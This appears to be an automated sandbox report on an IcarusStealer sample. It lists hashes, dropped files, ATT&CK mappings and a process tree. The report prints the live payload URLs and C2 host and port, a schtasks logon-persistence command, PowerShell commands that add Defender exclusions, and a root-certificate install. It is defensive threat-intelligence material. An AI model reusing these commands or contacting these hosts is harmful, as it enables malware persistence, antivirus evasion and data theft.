icarusstealer | 13b863f0e32c4e25af5b2e323bddf6ea7f8fde1c3dc53bbc463d5a0e9c666882

Resubmissions

09/03/2024, 09:55

240309-lx3qwsef83 10

09/03/2024, 09:49

240309-ltvk4sef73 10

Analysis

max time kernel
149s
max time network
146s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
09/03/2024, 09:49

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General

Target

custom1.exe
Size

24.9MB
MD5

4e1c29f0c1af62ddea916c6b80548c76
SHA1

38d9f15356b6a65f4e76ee739867d55b01493793
SHA256

13b863f0e32c4e25af5b2e323bddf6ea7f8fde1c3dc53bbc463d5a0e9c666882
SHA512

f863e54437a36b53f91057f74bdbfcaed90c93256333afe978be5f7b73b417a74084d3a92afe4b6ceea96fd909997cf22b30612c43d6d0d27c64c0bba7db9c28
SSDEEP

49152:lfRW10dDWeHzJhNF/CBpOqqUe00zCMe8KfFo:lfw1yaeHLNF/22UwCL8yF

Score

10^/10

icarusstealer persistence stealer

Malware Config

Extracted

Family

icarusstealer

Attributes

payload_url
https://blackhatsec.org/add.jpg

https://blackhatsec.org/remove.jpg

Signatures

IcarusStealer
Icarus is a modular stealer written in C# First adverts in July 2022.
stealer icarusstealer

Modifies Installed Components in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Executes dropped EXE 6 IoCs

pid	Process
2060	Client.exe
2532	switched.exe
2672	pulse x loader.exe
2024	tesetey.exe
2152	cvtresa.exe
3036	$SXR.exe

Loads dropped DLL 6 IoCs

pid	Process
2212	custom1.exe
2212	custom1.exe
2532	switched.exe
2532	switched.exe
2540	cmd.exe
1328	cmd.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
12	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	ipinfo.io

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\System32\CatRoot\$SXR\Read.txt	Client.exe
File created	C:\Windows\System32\CatRoot\$SXR\$SXR.exe	Client.exe
File opened for modification	C:\Windows\System32\CatRoot\$SXR\$SXR.exe	Client.exe
File opened for modification	C:\Windows\System32\CatRoot\$SXR\Read.txt	$SXR.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2024 set thread context of 1896	2024	tesetey.exe	41

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1536	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
556	timeout.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	tesetey.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	tesetey.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2024	tesetey.exe
2152	cvtresa.exe
1380	powershell.exe
812	powershell.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2060	Client.exe
2060	Client.exe
2060	Client.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe
2152	cvtresa.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	2024	tesetey.exe
Token: SeShutdownPrivilege	2488	explorer.exe
Token: SeShutdownPrivilege	2488	explorer.exe
Token: SeShutdownPrivilege	2488	explorer.exe
Token: SeShutdownPrivilege	2488	explorer.exe
Token: SeShutdownPrivilege	2488	explorer.exe
Token: SeShutdownPrivilege	2488	explorer.exe
Token: SeShutdownPrivilege	2488	explorer.exe
Token: SeShutdownPrivilege	2488	explorer.exe
Token: SeDebugPrivilege	1896	cvtres.exe
Token: SeDebugPrivilege	2152	cvtresa.exe
Token: SeDebugPrivilege	1380	powershell.exe
Token: SeDebugPrivilege	812	powershell.exe
Token: SeDebugPrivilege	2060	Client.exe
Token: SeShutdownPrivilege	2488	explorer.exe
Token: SeShutdownPrivilege	2488	explorer.exe
Token: SeDebugPrivilege	3036	$SXR.exe
Token: SeDebugPrivilege	3036	$SXR.exe
Token: SeShutdownPrivilege	2488	explorer.exe
Token: SeShutdownPrivilege	2488	explorer.exe

Suspicious use of FindShellTrayWindow 27 IoCs

pid	Process
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe

Suspicious use of SendNotifyMessage 17 IoCs

pid	Process
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe
2488	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2212 wrote to memory of 2060	2212	custom1.exe	28
PID 2212 wrote to memory of 2060	2212	custom1.exe	28
PID 2212 wrote to memory of 2060	2212	custom1.exe	28
PID 2212 wrote to memory of 2060	2212	custom1.exe	28
PID 2212 wrote to memory of 2532	2212	custom1.exe	29
PID 2212 wrote to memory of 2532	2212	custom1.exe	29
PID 2212 wrote to memory of 2532	2212	custom1.exe	29
PID 2212 wrote to memory of 2532	2212	custom1.exe	29
PID 2532 wrote to memory of 2672	2532	switched.exe	30
PID 2532 wrote to memory of 2672	2532	switched.exe	30
PID 2532 wrote to memory of 2672	2532	switched.exe	30
PID 2532 wrote to memory of 2672	2532	switched.exe	30
PID 2532 wrote to memory of 2024	2532	switched.exe	31
PID 2532 wrote to memory of 2024	2532	switched.exe	31
PID 2532 wrote to memory of 2024	2532	switched.exe	31
PID 2532 wrote to memory of 2024	2532	switched.exe	31
PID 2672 wrote to memory of 2528	2672	pulse x loader.exe	33
PID 2672 wrote to memory of 2528	2672	pulse x loader.exe	33
PID 2672 wrote to memory of 2528	2672	pulse x loader.exe	33
PID 2528 wrote to memory of 2604	2528	cmd.exe	35
PID 2528 wrote to memory of 2604	2528	cmd.exe	35
PID 2528 wrote to memory of 2604	2528	cmd.exe	35
PID 2528 wrote to memory of 2484	2528	cmd.exe	36
PID 2528 wrote to memory of 2484	2528	cmd.exe	36
PID 2528 wrote to memory of 2484	2528	cmd.exe	36
PID 2528 wrote to memory of 2664	2528	cmd.exe	37
PID 2528 wrote to memory of 2664	2528	cmd.exe	37
PID 2528 wrote to memory of 2664	2528	cmd.exe	37
PID 2024 wrote to memory of 2472	2024	tesetey.exe	38
PID 2024 wrote to memory of 2472	2024	tesetey.exe	38
PID 2024 wrote to memory of 2472	2024	tesetey.exe	38
PID 2024 wrote to memory of 2472	2024	tesetey.exe	38
PID 2472 wrote to memory of 2896	2472	csc.exe	39
PID 2472 wrote to memory of 2896	2472	csc.exe	39
PID 2472 wrote to memory of 2896	2472	csc.exe	39
PID 2472 wrote to memory of 2896	2472	csc.exe	39
PID 2024 wrote to memory of 2488	2024	tesetey.exe	40
PID 2024 wrote to memory of 2488	2024	tesetey.exe	40
PID 2024 wrote to memory of 2488	2024	tesetey.exe	40
PID 2024 wrote to memory of 2488	2024	tesetey.exe	40
PID 2024 wrote to memory of 1896	2024	tesetey.exe	41
PID 2024 wrote to memory of 1896	2024	tesetey.exe	41
PID 2024 wrote to memory of 1896	2024	tesetey.exe	41
PID 2024 wrote to memory of 1896	2024	tesetey.exe	41
PID 2024 wrote to memory of 1896	2024	tesetey.exe	41
PID 2024 wrote to memory of 1896	2024	tesetey.exe	41
PID 2024 wrote to memory of 1896	2024	tesetey.exe	41
PID 2024 wrote to memory of 2540	2024	tesetey.exe	42
PID 2024 wrote to memory of 2540	2024	tesetey.exe	42
PID 2024 wrote to memory of 2540	2024	tesetey.exe	42
PID 2024 wrote to memory of 2540	2024	tesetey.exe	42
PID 2024 wrote to memory of 1896	2024	tesetey.exe	41
PID 2024 wrote to memory of 1896	2024	tesetey.exe	41
PID 2488 wrote to memory of 2480	2488	explorer.exe	44
PID 2488 wrote to memory of 2480	2488	explorer.exe	44
PID 2488 wrote to memory of 2480	2488	explorer.exe	44
PID 2540 wrote to memory of 2152	2540	cmd.exe	45
PID 2540 wrote to memory of 2152	2540	cmd.exe	45
PID 2540 wrote to memory of 2152	2540	cmd.exe	45
PID 2540 wrote to memory of 2152	2540	cmd.exe	45
PID 1896 wrote to memory of 1432	1896	cvtres.exe	46
PID 1896 wrote to memory of 1432	1896	cvtres.exe	46
PID 1896 wrote to memory of 1432	1896	cvtres.exe	46
PID 1896 wrote to memory of 1432	1896	cvtres.exe	46

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\custom1.exe
"C:\Users\Admin\AppData\Local\Temp\custom1.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2212
- C:\Users\Admin\AppData\Local\Temp\Client.exe
  "C:\Users\Admin\AppData\Local\Temp\Client.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2060
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$SXR" /tr '"C:\Windows\System32\CatRoot\$SXR\$SXR.exe"' & exit
    3⤵
    PID:2188
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "$SXR" /tr '"C:\Windows\System32\CatRoot\$SXR\$SXR.exe"'
      4⤵
      Creates scheduled task(s)
      PID:1536
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp42CA.tmp.bat""
    3⤵
    - Loads dropped DLL
    PID:1328
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:556
  - - C:\Windows\System32\CatRoot\$SXR\$SXR.exe
      "C:\Windows\System32\CatRoot\$SXR\$SXR.exe"
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      Suspicious use of AdjustPrivilegeToken
      PID:3036
- C:\Users\Admin\AppData\Local\Temp\switched.exe
  "C:\Users\Admin\AppData\Local\Temp\switched.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2532
- - C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe
    "C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2672
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2528
    - - C:\Windows\system32\certutil.exe
        
        certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe" MD5
        5⤵
        
        PID:2604
    - - C:\Windows\system32\find.exe
        
        find /i /v "md5"
        5⤵
        
        PID:2484
    - - C:\Windows\system32\find.exe
        
        find /i /v "certutil"
        5⤵
        
        PID:2664
- - C:\Users\Admin\AppData\Local\Temp\tesetey.exe
    "C:\Users\Admin\AppData\Local\Temp\tesetey.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2024
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\k2udjlwz\k2udjlwz.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2472
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2D76.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC5CE48864C4014D4F82585FFC44CDA0F8.TMP"
        5⤵
        
        PID:2896
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      4⤵
      Modifies Installed Components in the registry
      Modifies registry class
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:2488
    - - C:\Windows\system32\ctfmon.exe
        
        ctfmon.exe
        5⤵
        
        PID:2480
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client case-shield.gl.at.ply.gg 26501 vUiuCXqqM
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1896
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
        5⤵
        
        PID:1432
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1380
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
        5⤵
        
        PID:1568
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:812
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k start /b C:\Users\Admin\AppData\Local\Temp\cvtresa.exe & exit
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2540
    - - C:\Users\Admin\AppData\Local\Temp\cvtresa.exe
        
        C:\Users\Admin\AppData\Local\Temp\cvtresa.exe
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2152

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab674D.tmp

Filesize
67KB

MD5
753df6889fd7410a2e9fe333da83a429

SHA1
3c425f16e8267186061dd48ac1c77c122962456e

SHA256
b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78

SHA512
9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

Download Submit
C:\Users\Admin\AppData\Local\Temp\Client.exe

Filesize
2.0MB

MD5
3e2528c36322acb55ee526619c06b97a

SHA1
fce4f2d8e03a37936439cf3ae22265087c08d940

SHA256
4c4ccc244e47e6324e280d870a3ecef6286d0b47f509d99bcc9d251330e7cbf2

SHA512
f037e3cfc9a28dbdef8ef96d6854f52b80c858f0479a3efa1ec60a63a391cc8dff6820d77f13ebc2df61eb0beef9cb6d3708e5beeef97401f2828e663b745997

Download Submit
C:\Users\Admin\AppData\Local\Temp\Client.exe

Filesize
4.4MB

MD5
bb3d27cbb76e80bafce958986784513b

SHA1
730c6592f8ec73090348f7f29c99cf9c20ec7f73

SHA256
f8a47036262b660bb40271c94ee5aae36ce56e1dfb258ded5a9749b478d175b6

SHA512
1a170fb22d35bee54fdf3a652fefc826a4561fc3ad11ba552375c2259b43664debfe2b5f4d3de00aa5e1787fbf96f21ded035a80ae5606b52a3ed29fc08d3dab

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES2D76.tmp

Filesize
1KB

MD5
0c3834d9ebf29b37322ed0498461b83b

SHA1
bdbd377a11547b82d7d205bed5710c3dc1bb0be6

SHA256
605b12a3af58ba04b3c44beffd7717fd92062ea987d4035a0e27d536351bad9a

SHA512
dd0ef9f98bc46d9b9db9127a32f007aed6f869092065b625ef0491147c52b1f66b033db91c79fc61e673e3d5264348ba27e8675703578aad2e7e38be8f08cb42

Download Submit
C:\Users\Admin\AppData\Local\Temp\cvtresa.exe

Filesize
4KB

MD5
f286a8b56fc70f0d4e83a5ee8ca3dc01

SHA1
494042bbebe3d829932547435ad437996463a23a

SHA256
655c28ea9a8454bb7e5a6d38b83d1ac59eb7bb0d4ee60bfc3beb42a5954a7406

SHA512
fdba8fd6007a6d24fe803af0ac741cf921342485d502c8a7a2cab17b7301f34d04722f5dd66fb396e480d26213c75de431500d4ff0f5097fe9d627a5c92b1422

Download Submit
C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe

Filesize
1.5MB

MD5
d4ec6ad993e63bd25c87075802da69f9

SHA1
dc3627b3de59121bfbcf67d85758b8300b4bf218

SHA256
cdad11c2e10e87930f496497ee838c45b5f2ca07fa15afb8525a8108f348173b

SHA512
06c7d5e1191af95bce9d72d0ad4b99378f29605a87f2235ceb39450a79eafb430bbf7af5f59625360ca3008962d9e046c6f17a1f8a6ad8e33d1a63ec03afbe34

Download Submit
C:\Users\Admin\AppData\Local\Temp\pulse x loader.exe

Filesize
576KB

MD5
6239d11b49526790f4c67e7d269fba3c

SHA1
6f8fad15f6525e354e53a8ac3f32816162992f1f

SHA256
b18ca03fa4584b2c8b802dda4cad6445c855b91ff1d881531fbb36b32a9ca235

SHA512
794209ba6ef2537fea4d4d253f5d430088abe75624168827a9b973732f959d50e149ad6def1ef42b231be498f5587c1282eab7ca9319e0c61868d91f4e88e3fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\switched.exe

Filesize
3.7MB

MD5
b9bbe31d276de5c3d05352d070ae4244

SHA1
5e1bb67b01c579b4e0ad5a7475ceb657201c27ec

SHA256
a01977e758a85dc01fb8ca7da9110adfe5bf9b9bec0af1db82741fe83d20408d

SHA512
0a3459690bfdf8d238cb6f27c650903659c12aa589bcba037a45c68287342f53ca5c1e1b307a0abd8d481f79e3df6bd994cce6a79258343627aa7b3209b0ed17

Download Submit
C:\Users\Admin\AppData\Local\Temp\tesetey.exe

Filesize
494KB

MD5
0f0838bc6642dd6bc603368e50b4aba3

SHA1
932bd4d1c11996bf8ac3ac74a94b266e96d44c36

SHA256
4acfa7fccfdd11c17fbb2e7a861683f749cbf6420f0d83d484a6024ff280a7a9

SHA512
a39605eaa160d4f918393c600d42873f2e6bfb54506edfbe590aac0f75d12b4aa66ff91192c0522c235695a9c6b95cd2dbe308b548b5f121ca6b6b7696029860

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp42CA.tmp.bat

Filesize
150B

MD5
ac8e2020447223e4e975b83aa5946443

SHA1
47118d075883be9145fa0d89a356d0858a928391

SHA256
6c092340807b97ac4034d1643c51bbd3241ef8ea2c46f7d475db252507f77bf5

SHA512
5ad5fc5477ec7b5f09872d7e2d3d38f6d8897cf4d2ac54f151a5094e971a042980e9d8f00cebf230e7a31afdbc04cb47f05881c77f2cc1b0e9df0536d00e6207

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3F5I6JGHL2P0FCUDP5JP.temp

Filesize
7KB

MD5
8de7bf143ec8dca4e42855c93ac91447

SHA1
5f43445a98f5b185e61913228935ec5b103664a2

SHA256
ca9eb4d218b358611cb6816240485fcee3d95d2ab3a3ed9d1cd09d9fbb5e3d96

SHA512
b3ec0df55c62da6357124c5068f8178f7622ed9726195ff9c20f15dadbaba470f72a8e335cfebdfc87ac334111e21abc8aaf2425638eccb08c409746eb455903

Download Submit
C:\Windows\System32\CatRoot\$SXR\$SXR.exe

Filesize
6.6MB

MD5
0dc49b6e4dbce6dae9ac1ab6cf93a373

SHA1
dff5f508cf0ec8a61a0f38b93fa1e2f622593a93

SHA256
bc93dbc0545dd5c79b2eafdab3ebb33f3bf85620e1d2f9e9c18dd85330eaeb65

SHA512
872bcc552bb41f159edd8f1a0add696d6c02cab2f6cb0abb9b3d19454b200df0bce31473f55cd9faf4e6326d13e5d6bf736b65c9f22e1277dc8a832ee9ce2296

Download Submit
C:\Windows\System32\CatRoot\$SXR\Read.txt

Filesize
58B

MD5
79668a6729f0f219835c62c9e43b7927

SHA1
0cbbc7cc8dbd27923b18285960640f3dad96d146

SHA256
6f5747973e572dc3ec0ae4fd9eaf57263abb01c36b35fcddf96e89208b16496e

SHA512
bc3895b46db46617315ffaa2ec5e2b44b06e1d4921834be25e1b60b12f2fba900f0f496070eb9f362952abcfa0b3b359bf1ced7da5ec0db63541e0977e6ea4e3

Download Submit
C:\Windows\System32\catroot\$SXR\$SXR.exe

Filesize
5.4MB

MD5
68ba516b447de3a2e8677a9cdbcde54d

SHA1
db1faa2ee36e5e6a82f73939eccf863e1c5df933

SHA256
da400928bfa0a5e3e404d5a97c3db12492d47cff31d344c96095eebae9ed7ee0

SHA512
e5243f4a00b51afa2b8d286dfffdf2838352699d9723dc17c198a44b38ceb23c5b6ef32d0fab7f2921a2332493551c1670aa4af229854a356f54dd51dfd4dd27

Download Submit
C:\Windows\System32\catroot\$SXR\$SXR.exe

Filesize
2.1MB

MD5
149dac0048d01a8caeb0b9cf76869b12

SHA1
d50ec4278a9abfcdd0f3d02e8b1f9c8f51b78cee

SHA256
e45617046dbf288932d8819212b911b680d6269134aff64e43daeb2b79275122

SHA512
8795b87637ec42f074471b0f0e2eb021c0894fd6e9860e0597481e5e03fcfbf6769f98d6e81bbb5215508ddbb71a3a152a01db9f1f66b2caf2a9bcad1c4d2189

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC5CE48864C4014D4F82585FFC44CDA0F8.TMP

Filesize
1KB

MD5
6d4e315ddb659723cf270858a8023839

SHA1
0df893c7f7f48483e29d8db81bfabc8456ba24a9

SHA256
f6528ea00f868ca00663e6aeff8def75c2db4a0b7012d9836f9267679b0e47f0

SHA512
70a5bb19c9384117a21eeb1ce2e44ffc055dbf5ff958e0b912823c353a283606bafb1b7d7a5c942ffe8ecd3890c88b88597d027c19952156fe959962422339a6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\k2udjlwz\k2udjlwz.0.cs

Filesize
1KB

MD5
14846c9faaef9299a1bf17730f20e4e6

SHA1
8083da995cfaa0e8e469780e32fcff1747850eb6

SHA256
61bc7b23a430d724b310e374a67a60dd1e1f883c6dd3a98417c8579ba4973c1b

SHA512
549d99dbb7376d9d6106ad0219d6cf22eb70c80d54c9ad8c7d0b04a33d956515e55c9608ab6eec0733f2c23602867eb85b43e58200ded129958c7de7ed22efb1

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\k2udjlwz\k2udjlwz.cmdline

Filesize
449B

MD5
f9b73cfb9816d1e1e830373f0ffe004b

